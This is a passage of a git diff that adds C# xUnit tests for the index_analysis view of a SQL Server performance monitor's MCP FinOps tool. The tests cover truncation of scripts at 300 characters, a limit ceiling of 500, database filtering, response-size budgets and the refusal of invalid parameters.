+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live index_analysis view test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, ct);
+        await using var pg = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using (var doc = await ToolAsync(pg, ServerNameB, ct: ct))
+        {
+            Assert.Equal("empty", doc.RootElement.GetProperty("status").GetString());
+            Assert.Contains("No index statistics were collected", doc.RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
+        }
+
+        /* index_object_stats is a SQL Server collector, so a PostgreSQL target is a permanent gap, not an empty window. */
+        using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "UPDATE servers SET engine_kind = $2 WHERE server_id = $1", ServerIdB, MonitoredEngineKind.Postgres);
+        }
+        using var gated = await ToolAsync(pg, ServerNameB, ct: ct);
+        Assert.Equal("not_collected", gated.RootElement.GetProperty("status").GetString());
+        Assert.Contains("index_object_stats", gated.RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task DatabaseName_FiltersDatabasesAndRecommendations_AndLeavesOverallNull()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live index_analysis view test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, ct);
+        await using var pg = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using (var doc = await ToolAsync(pg, ServerNameC, limit: 50, db: "TENANT_ALPHA", ct: ct))
+        {
+            var root = doc.RootElement;
+            Assert.Equal(JsonValueKind.Null, root.GetProperty("overall").ValueKind);
+            Assert.Equal("TENANT_ALPHA", root.GetProperty("database_name").GetString());
+            var dbs = root.GetProperty("databases").EnumerateArray().ToList();
+            Assert.Single(dbs);
+            Assert.Equal("tenant_alpha", dbs[0].GetProperty("database_name").GetString());
+            var recs = root.GetProperty("recommendations").EnumerateArray().ToList();
+            Assert.NotEmpty(recs);
+            Assert.All(recs, r => Assert.Equal("tenant_alpha", r.GetProperty("database_name").GetString()));
+            Assert.Equal(recs.Count, root.GetProperty("recommendation_count").GetInt32());
+        }
+
+        using var unknown = await ToolAsync(pg, ServerNameC, db: "no_such_database", ct: ct);
+        Assert.Equal("empty", unknown.RootElement.GetProperty("status").GetString());
+        Assert.Equal("No analyzed indexes for database 'no_such_database' in the latest snapshot.", unknown.RootElement.GetProperty("message").GetString());
+    }
+
+    [Fact]
+    public async Task Limit_CutsRecommendations_ButCountsTheWholeFilteredSet()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live index_analysis view test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, ct);
+        await using var pg = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var all = await ToolAsync(pg, ServerNameC, limit: 50, ct: ct);
+        var total = all.RootElement.GetProperty("recommendation_count").GetInt32();
+        Assert.True(total > 1);
+        Assert.False(all.RootElement.GetProperty("truncated").GetBoolean());
+
+        using var one = await ToolAsync(pg, ServerNameC, limit: 1, ct: ct);
+        var root = one.RootElement;
+        Assert.True(root.GetProperty("truncated").GetBoolean());
+        Assert.Equal(1, root.GetProperty("limit").GetInt32());
+        Assert.Equal(1, root.GetProperty("recommendations").GetArrayLength());
+        Assert.Equal(total, root.GetProperty("recommendation_count").GetInt32());
+        AssertSame(all.RootElement.GetProperty("recommendations")[0], root.GetProperty("recommendations")[0], "first row");
+        AssertSame(all.RootElement.GetProperty("counts_by_action"), root.GetProperty("counts_by_action"), "counts_by_action");
+        var sum = root.GetProperty("counts_by_action").EnumerateObject().Sum(p => p.Value.GetInt32());
+        Assert.Equal(total, sum);
+    }
+
+    /* #5238: the web Index Analysis tab asks for 500 recommendations, as the Database Sizes tab asks for its 500 files, so this view takes
+       a limit up to 500 where the other top-N views stop at 50, and refuses one past it with the new ceiling in the message. */
+    [Fact]
+    public async Task Limit_TakesUpToFiveHundred_AndRefusesAnythingPastIt()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live index_analysis view test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, ct);
+        await using var pg = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var atCeiling = await DarlingMcpFinOpsTools.GetFinOps(pg, "index_analysis", ServerNameC, 24, 500, cancellationToken: ct);
+        Assert.False(McpHelpers.IsRefusalEnvelope(atCeiling), atCeiling);
+        using var doc = JsonDocument.Parse(atCeiling);
+        var root = doc.RootElement;
+        Assert.Equal(500, root.GetProperty("limit").GetInt32());
+        Assert.False(root.GetProperty("truncated").GetBoolean());
+        Assert.Equal(root.GetProperty("recommendation_count").GetInt32(), root.GetProperty("recommendations").GetArrayLength());
+
+        Assert.Equal(
+            McpHelpers.Refusal("limit", "Invalid limit value '501'. Must be an integer from 1 to 500."),
+            await DarlingMcpFinOpsTools.GetFinOps(pg, "index_analysis", ServerNameC, 24, 501, cancellationToken: ct));
+        Assert.Equal(
+            McpHelpers.Refusal("limit", "Invalid limit value '0'. Must be an integer from 1 to 500."),
+            await DarlingMcpFinOpsTools.GetFinOps(pg, "index_analysis", ServerNameC, 24, 0, cancellationToken: ct));
+        // The views that keep a top-N list of 50 still refuse 51.
+        Assert.Equal(
+            McpHelpers.Refusal("limit", "Invalid limit value '51'. Must be an integer from 1 to 50."),
+            await DarlingMcpFinOpsTools.GetFinOps(pg, "high_impact", ServerNameC, 24, 51, cancellationToken: ct));
+    }
+
+    [Fact]
+    public async Task FullText_FalseCutsAtThreeHundredCharacters_TrueReturnsWholeText()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live index_analysis view test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, ct);
+        await using var pg = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var cut = await ToolAsync(pg, ServerNameC, limit: 50, db: "tenant_gamma", ct: ct);
+        using var whole = await ToolAsync(pg, ServerNameC, limit: 50, db: "tenant_gamma", full: true, ct: ct);
+        Assert.Equal(300, cut.RootElement.GetProperty("text_cap_chars").GetInt32());
+        Assert.Equal(JsonValueKind.Null, whole.RootElement.GetProperty("text_cap_chars").ValueKind);
+
+        var cutRows = cut.RootElement.GetProperty("recommendations").EnumerateArray().ToList();
+        var wholeRows = whole.RootElement.GetProperty("recommendations").EnumerateArray().ToList();
+        Assert.Equal(cutRows.Count, wholeRows.Count);
+        var seenScript = false;
+        var seenDefinition = false;
+        for (var i = 0; i < cutRows.Count; i++)
+        {
+            var fullScript = wholeRows[i].GetProperty("script").GetString()!;
+            var fullDef = wholeRows[i].GetProperty("original_index_definition").GetString()!;
+            Assert.False(wholeRows[i].GetProperty("script_truncated").GetBoolean());
+            Assert.False(wholeRows[i].GetProperty("definition_truncated").GetBoolean());
+            if (fullScript.Length > 300)
+            {
+                seenScript = true;
+                Assert.True(cutRows[i].GetProperty("script_truncated").GetBoolean());
+                Assert.Equal(fullScript[..300] + "…", cutRows[i].GetProperty("script").GetString());
+            }
+            if (fullDef.Length > 300)
+            {
+                seenDefinition = true;
+                Assert.True(cutRows[i].GetProperty("definition_truncated").GetBoolean());
+                Assert.Equal(fullDef[..300] + "…", cutRows[i].GetProperty("original_index_definition").GetString());
+            }
+        }
+        Assert.True(seenScript, "no seeded script passed the cap: " + string.Join(" ; ", wholeRows.Select(r => r.GetProperty("action").GetString() + "/" + r.GetProperty("script").GetString()!.Length + "/" + r.GetProperty("original_index_definition").GetString()!.Length)));
+        Assert.True(seenDefinition, "no seeded definition passed the cap");
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsIndexAnalysisViewSizeTests.cs b/Darling/Darling.Tests/FinOpsIndexAnalysisViewSizeTests.cs
new file mode 100644
index 0000000000..8458b4ff38
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsIndexAnalysisViewSizeTests.cs
@@ -0,0 +1,131 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Size pin for the default <c>index_analysis</c> response, built from hand-made rows and no store: ten
+/// recommendations whose script and definition both hit the 300-character cap, more databases than the cap, with long names (the cap keeps 13 serialized), both
+/// caveat notes and the analyzer's full note list. The body must fit the default MCP response budget with headroom. A limit of 500 is
+/// measured on three row shapes against the sizes the guide gives (#5238).
+/// </summary>
+public sealed class FinOpsIndexAnalysisViewSizeTests
+{
+    private const int HeadroomBytes = 30 * 1024;
+
+    private static string Long(string stem, int length) => (stem + new string('x', length))[..length];
+
+    private static IndexCleanupAnalysisResult WorstDefaultResult(int databases, int recommendations, int textLength = 400)
+    {
+        var rollups = Enumerable.Range(0, databases).Select(i => new IndexCleanupRollup
+        {
+            DatabaseName = Long($"tenant_database_{i:D2}_", 60),
+            TablesAnalyzed = 123456, IndexCount = 1234567, TotalSizeGb = 1234567.8915m, TotalRows = 123456789012,
+            IndexesToDisable = 123456, IndexesToMerge = 123456, CompressableIndexes = 123456, UnusedIndexes = 123456,
+            UnusedSizeGb = 1234567.8915m, CompressionMinSavingsGb = 1234567.8915m, CompressionMaxSavingsGb = 1234567.8915m,
+            TotalMinSavingsGb = 1234567.8915m, TotalMaxSavingsGb = 1234567.8915m,
+            UserSeeks = 123456789012, UserScans = 123456789012, UserLookups = 123456789012, TotalWrites = 123456789012,
+            LockWaitCount = 123456789, LockWaitInMs = 12345678901, LatchWaitCount = 123456789, LatchWaitInMs = 12345678901,
+        }).ToList();
+        var recs = Enumerable.Range(0, recommendations).Select(i => new IndexCleanupRecommendation
+        {
+            DatabaseName = Long($"tenant_database_{i:D2}_", 60), SchemaName = Long("schema_", 40), TableName = Long("table_", 60),
+            IndexName = Long($"IX_index_{i:D2}_", 60), IndexId = 12,
+            Action = IndexCleanupAction.Disable, ResultKind = IndexCleanupResultKind.Merge,
+            ConsolidationRule = "Key Duplicate", TargetIndexName = Long("IX_target_", 60), SupersededBy = Long("IX_super_", 60),
+            MissingIncludedColumns = Long("[col_a], [col_b], ", 120), AdditionalInfo = Long("Exact duplicate of ", 120),
+            Script = Long("CREATE INDEX ", textLength), OriginalIndexDefinition = Long("CREATE NONCLUSTERED INDEX ", textLength),
+            IndexSizeGb = 1234.5675m, IndexRows = 123456789012, IndexReads = 123456789012, IndexWrites = 123456789012,
+            CanCompress = true, IsForeignKey = true, ScriptOmitsPartitionPlacement = true,
+        }).ToList();
+        return new IndexCleanupAnalysisResult
+        {
+            Recommendations = recs, DatabaseRollups = rollups, OverallRollup = rollups[0],
+            UptimeWarning = true, DedupeOnlyApplied = true,
+            Notes = [Long("Reconstructed CREATE/MERGE scripts omit ", 330), Long("Compression eligibility cannot ", 380),
+                Long("Compression savings use ", 210), Long("COMPRESSION REBUILD uses ", 150), Long("Reverse Duplicate and ", 350),
+                Long("Unique Constraint Replacement ", 700), Long("Out of scope of the ", 330)],
+        };
+    }
+
+    private static int Bytes(string json) => Encoding.UTF8.GetByteCount(json);
+
+    /* Recommendations of one row shape: every name nameLength characters, script and definition textLength, the free-text columns freeTextLength. */
+    private static IndexCleanupAnalysisResult ShapedResult(int recommendations, int nameLength, int textLength, int freeTextLength)
+    {
+        var rollup = new IndexCleanupRollup { DatabaseName = Long("tenant_database_", nameLength), TotalMaxSavingsGb = 12.345m };
+        var recs = Enumerable.Range(0, recommendations).Select(i => new IndexCleanupRecommendation
+        {
+            DatabaseName = Long($"tenant_database_{i:D3}_", nameLength), SchemaName = Long("schema_", nameLength), TableName = Long("table_", nameLength),
+            IndexName = Long($"IX_index_{i:D3}_", nameLength), IndexId = 12,
+            Action = IndexCleanupAction.Disable, ResultKind = IndexCleanupResultKind.Merge,
+            ConsolidationRule = "Key Duplicate", TargetIndexName = Long("IX_target_", nameLength), SupersededBy = Long("IX_super_", nameLength),
+            MissingIncludedColumns = Long("[col_a], [col_b], ", freeTextLength), AdditionalInfo = Long("Exact duplicate of ", freeTextLength),
+            Script = Long("CREATE INDEX ", textLength), OriginalIndexDefinition = Long("CREATE NONCLUSTERED INDEX ", textLength),
+            IndexSizeGb = 12.3456m, IndexRows = 1234567, IndexReads = 12345, IndexWrites = 123456,
+            CanCompress = true, IsForeignKey = false, ScriptOmitsPartitionPlacement = false,
+        }).ToList();
+        return new IndexCleanupAnalysisResult { Recommendations = recs, DatabaseRollups = [rollup], OverallRollup = rollup, Notes = [] };
+    }
+
+    /* #5238: a limit of 500 is the largest answer this view gives and nothing trims it (#4198), so the guide tail says how big it is. Measured
+       here with 1 MB = 1,048,576 bytes (the 30 KB above is 30 * 1024): 0.46 MB for typical rows, 0.92 MB for long names with script and
+       definition at the 300-character cap, 3.49 MB for full_text on 3,000-character scripts. Each is asserted only within 15% of the figure the
+       guide gives, and the guide must say that figure: the bound keeps the guide true when a field is added to a row; it is not a cap on the answer. */
+    [Theory]
+    [InlineData(28, 110, 30, false, 0.45)]
+    [InlineData(100, 400, 100, false, 1.0)]
+    [InlineData(100, 3000, 100, true, 3.5)]
+    public void FiveHundredRecommendations_StayWithinFifteenPercentOfTheSizeTheGuideGives(int nameLength, int textLength, int freeTextLength, bool fullText, double guideMegabytes)
+    {
+        var json = DarlingMcpFinOpsTools.BuildIndexAnalysisPayload("server", ShapedResult(500, nameLength, textLength, freeTextLength), 500, null, fullText, null);
+        var megabytes = Bytes(json) / (1024.0 * 1024.0);
+
+        Assert.InRange(megabytes, guideMegabytes * 0.85, guideMegabytes * 1.15);
+        Assert.Contains(guideMegabytes.ToString(System.Globalization.CultureInfo.InvariantCulture) + " MB", DarlingMcpFinOpsTools.IndexAnalysisViewGuide, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void DefaultResponse_WithTenFullLengthRecommendationsAndTheDatabaseCap_FitsTheResponseBudget()
+    {
+        var json = DarlingMcpFinOpsTools.BuildIndexAnalysisPayload("server", WorstDefaultResult(DarlingMcpFinOpsTools.MaxIndexAnalysisDatabases + 37, 10), 10, null, false, null);
+
+        Assert.True(Bytes(json) <= HeadroomBytes, $"default body is {Bytes(json)} bytes");
+        Assert.True(HeadroomBytes <= McpResponseBudget.DefaultBytes);
+    }
+
+    [Fact]
+    public void FullText_WithFiftyRecommendations_ReportsItsSizeAndAssertsNoBudget()
+    {
+        var result = WorstDefaultResult(3, 50, 4000);
+        var json = DarlingMcpFinOpsTools.BuildIndexAnalysisPayload("server", result, 50, null, true, null);
+        using var doc = System.Text.Json.JsonDocument.Parse(json);
+
+        /* full_text is documented as unbounded; the size is reported, not asserted against the budget. */
+        Console.WriteLine($"full_text 50-recommendation body: {Bytes(json)} bytes");
+        Assert.Equal(50, doc.RootElement.GetProperty("recommendations").GetArrayLength());
+    }
+
+    [Fact]
+    public void DatabaseCap_KeepsTheListAtTheCap_AndSaysSo()
+    {
+        var json = DarlingMcpFinOpsTools.BuildIndexAnalysisPayload("server", WorstDefaultResult(DarlingMcpFinOpsTools.MaxIndexAnalysisDatabases + 5, 2), 10, null, false, null);
+        using var doc = System.Text.Json.JsonDocument.Parse(json);
+
+        Assert.Equal(DarlingMcpFinOpsTools.MaxIndexAnalysisDatabases + 5, doc.RootElement.GetProperty("database_count").GetInt32());
+        Assert.Equal(DarlingMcpFinOpsTools.MaxIndexAnalysisDatabases, doc.RootElement.GetProperty("databases").GetArrayLength());
+        Assert.True(doc.RootElement.GetProperty("databases_truncated").GetBoolean());
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsIndexAnalysisViewTests.cs b/Darling/Darling.Tests/FinOpsIndexAnalysisViewTests.cs
new file mode 100644
index 0000000000..293f52bf12
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsIndexAnalysisViewTests.cs
@@ -0,0 +1,270 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>Store-free pins for the get_finops index_analysis view: text cap, ordering, rounding, notes, payload shape and refusals.</summary>
+public sealed class FinOpsIndexAnalysisViewTests
+{
+    private static IndexCleanupRecommendation Rec(string index, decimal gb = 1m, string db = "d", int id = 2,
+        IndexCleanupResultKind kind = IndexCleanupResultKind.Disable, string script = "S", string def = "D", string? rule = null) => new()
+    {
+        DatabaseName = db, SchemaName = "dbo", TableName = "t", IndexName = index, IndexId = id,
+        ResultKind = kind, Action = IndexCleanupAction.Disable, IndexSizeGb = gb, Script = script, OriginalIndexDefinition = def, ConsolidationRule = rule,
+    };
+
+    private static IndexCleanupRollup Roll(string? db, decimal max = 1m) => new() { DatabaseName = db, TotalMaxSavingsGb = max };
+
+    private static JsonElement Build(IndexCleanupAnalysisResult r, int limit = 10, string? db = null, bool full = false) =>
+        JsonDocument.Parse(DarlingMcpFinOpsTools.BuildIndexAnalysisPayload("srv", r, limit, db, full, null)).RootElement;
+
+    [Fact]
+    public void TruncateText_CutsOnlyPastTheCap_AndNullIsEmpty()
+    {
+        var cap = DarlingMcpFinOpsTools.IndexAnalysisTextCap;
+        Assert.Equal(300, cap);
+        var at = new string('x', 300);
+        Assert.Equal((at, false), DarlingMcpFinOpsTools.TruncateIndexAnalysisText(at, cap));
+        var over = DarlingMcpFinOpsTools.TruncateIndexAnalysisText(new string('x', 301), cap);
+        Assert.True(over.Truncated);
+        Assert.Equal(new string('x', 300) + "…", over.Text);
+        Assert.Equal(("", false), DarlingMcpFinOpsTools.TruncateIndexAnalysisText(null, cap));
+    }
+
+    [Fact]
+    public void TruncateText_NeverSplitsASurrogatePair_AtTheCap()
+    {
+        var text = new string('x', 299) + "\U0001F600" + new string('y', 20);
+        Assert.True(char.IsHighSurrogate(text[299]));
+        var (cut, truncated) = DarlingMcpFinOpsTools.TruncateIndexAnalysisText(text, 300);
+        Assert.True(truncated);
+        Assert.Equal(new string('x', 299) + "…", cut);
+        var json = JsonSerializer.Serialize(cut);
+        Assert.DoesNotContain('\uFFFD', json);
+        Assert.DoesNotContain("\\ud83d", json, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void RecommendationOrder_TwoReviewRowsOnOneIndex_OrderByConsolidationRule_NullsFirst()
+    {
+        var a = Rec("i", kind: IndexCleanupResultKind.Review, rule: "Reverse Duplicate");
+        var b = Rec("i", kind: IndexCleanupResultKind.Review, rule: "Equal Except Filter");
+        var c = Rec("i", kind: IndexCleanupResultKind.Review);
+        foreach (var input in new[] { new[] { a, b, c }, new[] { c, b, a }, new[] { b, a, c } })
+        {
+            var ordered = DarlingMcpFinOpsTools.OrderIndexAnalysisRecommendations(input);
+            Assert.Equal(new string?[] { null, "Equal Except Filter", "Reverse Duplicate" }, ordered.Select(r => r.ConsolidationRule).ToArray());
+        }
+    }
+
+    [Fact]
+    public void DatabaseName_EmptyOrWhitespace_IsNoFilter_AndTheWorkloadReasonFollowsOverall()
+    {
+        Assert.Null(DarlingMcpFinOpsTools.NormalizeOptionalText(""));
+        Assert.Null(DarlingMcpFinOpsTools.NormalizeOptionalText("  "));
+        Assert.Equal("d", DarlingMcpFinOpsTools.NormalizeOptionalText("d"));
+        var r = new IndexCleanupAnalysisResult { DatabaseRollups = [Roll("d")], Recommendations = [Rec("a")] };
+        var blank = Build(r, db: " ");
+        Assert.NotEqual(JsonValueKind.Null, blank.GetProperty("overall").ValueKind);
+        Assert.Equal(JsonValueKind.Null, blank.GetProperty("database_name").ValueKind);
+        Assert.NotEqual(JsonValueKind.Null, blank.GetProperty("overall_workload_reason").ValueKind);
+        var one = Build(r, db: "d");
+        Assert.Equal(JsonValueKind.Null, one.GetProperty("overall").ValueKind);
+        Assert.Equal(JsonValueKind.Null, one.GetProperty("overall_workload_reason").ValueKind);
+        Assert.Null(DarlingMcpFinOpsTools.OptionalParamMisuse("utilization", DarlingMcpFinOpsTools.NormalizeOptionalText(""), false));
+        var tool = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpFinOpsTools.cs").ReplaceLineEndings("\n");
+        Assert.True(tool.IndexOf("database_name = NormalizeOptionalText(database_name);", StringComparison.Ordinal)
+            < tool.IndexOf("OptionalParamMisuse(normalized", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void Guide_NamesTheDatabaseCap_AndTheUnboundedFullText()
+    {
+        var guide = DarlingMcpFinOpsTools.IndexAnalysisViewGuide;
+        Assert.Contains($"at most {DarlingMcpFinOpsTools.MaxIndexAnalysisDatabases}", guide, StringComparison.Ordinal);
+        Assert.Contains("databases_truncated", guide, StringComparison.Ordinal);
+        Assert.Contains($"outside those {DarlingMcpFinOpsTools.MaxIndexAnalysisDatabases}", guide, StringComparison.Ordinal);
+        Assert.Contains("in full with no size cap", guide, StringComparison.Ordinal);
+    }
+
+    /* #5238: a limit of 500 is a 0.45 to 3.5 MB answer (a recommendation is about 900 bytes with typical names, 2 KB with long ones, 7 KB with
+       full_text on wide indexes) and the MCP layer never trims an answer (#4198), so the guide tells a caller what asking for 500 costs. */
+    [Fact]
+    public void Guide_SaysHowBigAnAnswerAtLimit500Is_AtTypicalLongAndFullTextWidths()
+    {
+        var guide = DarlingMcpFinOpsTools.IndexAnalysisViewGuide;
+        Assert.Contains(
+            "At limit 500 the answer is about 0.45 MB with typical names, around 1 MB with long names, and up to about 3.5 MB with full_text on wide indexes; use database_name or a smaller limit for less.",
+            guide, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void RecommendationOrder_IsSizeThenFullNameChain_SoEqualRowsOrderByIndexName()
+    {
+        var ordered = DarlingMcpFinOpsTools.OrderIndexAnalysisRecommendations(
+            [Rec("b"), Rec("a"), Rec("big", 5m), Rec("z", 1m, "a")]);
+        Assert.Equal(new[] { "big", "z", "a", "b" }, ordered.Select(r => r.IndexName).ToArray());
+    }
+
+    [Fact]
+    public void DatabaseOrder_IsLargestReclaimThenName()
+    {
+        var ordered = DarlingMcpFinOpsTools.OrderIndexAnalysisDatabases([Roll("b"), Roll("a"), Roll("c", 9m)]);
+        Assert.Equal(new[] { "c", "a", "b" }, ordered.Select(r => r.DatabaseName).ToArray());
+    }
+
+    [Fact]
+    public void Gb_RoundsAwayFromZero_ToThreeDecimals()
+    {
+        var root = Build(new IndexCleanupAnalysisResult
+        {
+            DatabaseRollups = [Roll("d")],
+            Recommendations = [Rec("a", 0.0005m)],
+        });
+        Assert.Equal(0.001m, root.GetProperty("recommendations")[0].GetProperty("index_size_gb").GetDecimal());
+    }
+
+    [Fact]
+    public void Notes_AreUptimeThenDedupeThenAnalyzerNotes()
+    {
+        var root = Build(new IndexCleanupAnalysisResult
+        {
+            DatabaseRollups = [Roll("d")], UptimeWarning = true, DedupeOnlyApplied = true, Notes = ["n1", "n2"],
+        });
+        var notes = root.GetProperty("notes").EnumerateArray().Select(n => n.GetString()!).ToArray();
+        Assert.Equal(4, notes.Length);
+        Assert.StartsWith("Server uptime is under 14 days", notes[0], StringComparison.Ordinal);
+        Assert.StartsWith("Dedupe-only mode is in effect", notes[1], StringComparison.Ordinal);
+        Assert.Equal(new[] { "n1", "n2" }, notes.Skip(2).ToArray());
+    }
+
+    [Fact]
+    public void OverallRow_HasNoWorkloadKeys_AndDatabaseRowsDo()
+    {
+        var root = Build(new IndexCleanupAnalysisResult { DatabaseRollups = [Roll("d")] });
+        var overall = root.GetProperty("overall");
+        Assert.False(overall.TryGetProperty("user_seeks", out _));
+        Assert.False(overall.TryGetProperty("avg_lock_wait_ms", out _));
+        Assert.True(root.GetProperty("databases")[0].TryGetProperty("avg_latch_wait_ms", out _));
+        Assert.Contains("per database only", root.GetProperty("overall_workload_reason").GetString(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void CountsByAction_CountBeforeTheCut_AndTruncatedSaysSo()
+    {
+        var root = Build(new IndexCleanupAnalysisResult
+        {
+            DatabaseRollups = [Roll("d")], Recommendations = [Rec("a"), Rec("b"), Rec("c")],
+        }, limit: 1);
+        Assert.Equal(3, root.GetProperty("recommendation_count").GetInt32());
+        Assert.Equal(3, root.GetProperty("counts_by_action").GetProperty("DISABLE").GetInt32());
+        Assert.True(root.GetProperty("truncated").GetBoolean());
+        Assert.Equal(1, root.GetProperty("recommendations").GetArrayLength());
+    }
+
+    [Fact]
+    public void TextCap_AppliesUnlessFullText_AndReviewRowsCarryNoScript()
+    {
+        var long400 = new string('q', 400);
+        var r = new IndexCleanupAnalysisResult
+        {
+            DatabaseRollups = [Roll("d")],
+            Recommendations = [Rec("a", script: long400, def: long400), Rec("r", 0.5m, kind: IndexCleanupResultKind.Review, script: long400)],
+        };
+        var cut = Build(r).GetProperty("recommendations");
+        Assert.True(cut[0].GetProperty("script_truncated").GetBoolean());
+        Assert.True(cut[0].GetProperty("definition_truncated").GetBoolean());
+        Assert.Equal(301, cut[0].GetProperty("script").GetString()!.Length);
+        Assert.Equal("", cut[1].GetProperty("script").GetString());
+        var full = Build(r, full: true);
+        Assert.Equal(400, full.GetProperty("recommendations")[0].GetProperty("script").GetString()!.Length);
+        Assert.Equal(JsonValueKind.Null, full.GetProperty("text_cap_chars").ValueKind);
+    }
+
+    [Fact]
+    public void DatabaseFilter_IsCaseInsensitive_DropsOverall_AndAnUnknownDatabaseIsEmpty()
+    {
+        var r = new IndexCleanupAnalysisResult
+        {
+            DatabaseRollups = [Roll("Alpha"), Roll("Beta")], Recommendations = [Rec("a", db: "Alpha"), Rec("b", db: "Beta")],
+        };
+        var root = Build(r, db: "alpha");
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("overall").ValueKind);
+        Assert.Equal(1, root.GetProperty("database_count").GetInt32());
+        Assert.Equal(1, root.GetProperty("recommendation_count").GetInt32());
+        Assert.Equal("empty", DarlingMcpTestData.StatusOf(DarlingMcpFinOpsTools.BuildIndexAnalysisPayload("srv", r, 10, "nope", false, null)));
+    }
+
+    [Fact]
+    public void NoRollups_AnswersTheCapabilityStatusWhenGiven_ElseEmpty()
+    {
+        var none = new IndexCleanupAnalysisResult();
+        Assert.Equal("empty", DarlingMcpTestData.StatusOf(DarlingMcpFinOpsTools.BuildIndexAnalysisPayload("srv", none, 10, null, false, null)));
+        Assert.Equal("not_collected", DarlingMcpTestData.StatusOf(DarlingMcpFinOpsTools.BuildIndexAnalysisPayload("srv", none, 10, null, false, McpHelpers.Status("not_collected", "x"))));
+    }
+
+    [Fact]
+    public void OtherViews_RefuseDatabaseNameFullTextAndObjectName_OnlyTheNamedViewsAccept()
+    {
+        foreach (var view in new[] { "utilization", "high_impact", "database_resources", "application_connections", "optimization", "storage_growth", "database_sizes" })
+        {
+            var text = DarlingMcpFinOpsTools.OptionalParamMisuse(view, null, true);
+            Assert.Equal("full_text", text!.Value.Parameter);
+            Assert.Contains(view, text.Value.Message, StringComparison.Ordinal);
+            Assert.Null(DarlingMcpFinOpsTools.OptionalParamMisuse(view, null, false));
+        }
+
+        foreach (var view in new[] { "utilization", "high_impact", "database_resources", "application_connections", "optimization", "database_sizes" })
+        {
+            var db = DarlingMcpFinOpsTools.OptionalParamMisuse(view, "d", false);
+            Assert.Equal("database_name", db!.Value.Parameter);
+            Assert.Contains(view, db.Value.Message, StringComparison.Ordinal);
+            Assert.Contains("views index_analysis and storage_growth", db.Value.Message, StringComparison.Ordinal);
+        }
+
+        foreach (var view in new[] { "utilization", "high_impact", "database_resources", "application_connections", "optimization", "index_analysis" })
+        {
+            var obj = DarlingMcpFinOpsTools.OptionalParamMisuse(view, null, false, "dbo.t");
+            Assert.Equal("object_name", obj!.Value.Parameter);
+            Assert.Contains("applies only to view storage_growth", obj.Value.Message, StringComparison.Ordinal);
+            Assert.Contains(view, obj.Value.Message, StringComparison.Ordinal);
+        }
+
+        Assert.Null(DarlingMcpFinOpsTools.OptionalParamMisuse("index_analysis", "d", true));
+        Assert.Null(DarlingMcpFinOpsTools.OptionalParamMisuse("storage_growth", "d", false, "dbo.t"));
+    }
+
+    [Fact]
+    public void Wiring_GuardPrecedesTheSwitch_AndTheViewReadsNeitherCultureNorDisplayText()
+    {
+        var tool = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpFinOpsTools.cs").ReplaceLineEndings("\n");
+        Assert.Contains("if (misuse is { } m) return McpHelpers.Refusal(m.Parameter, m.Message);", tool, StringComparison.Ordinal);
+        Assert.True(tool.IndexOf("OptionalParamMisuse(normalized", StringComparison.Ordinal)
+            < tool.IndexOf("switch (normalized)", StringComparison.Ordinal));
+        var partial = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpFinOpsTools.IndexAnalysis.cs");
+        Assert.DoesNotContain("CurrentCulture", partial, StringComparison.Ordinal);
+        Assert.DoesNotContain("AverageWaitMsText", partial, StringComparison.Ordinal);
+        Assert.Contains("\"index_object_stats\"", partial, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ServedHead_NamesTheView_AndStaysUnderTheTarget()
+    {
+        var served = McpToolGuideTests.Served("get_finops");
+        Assert.Contains("index_analysis:", served.Served, StringComparison.Ordinal);
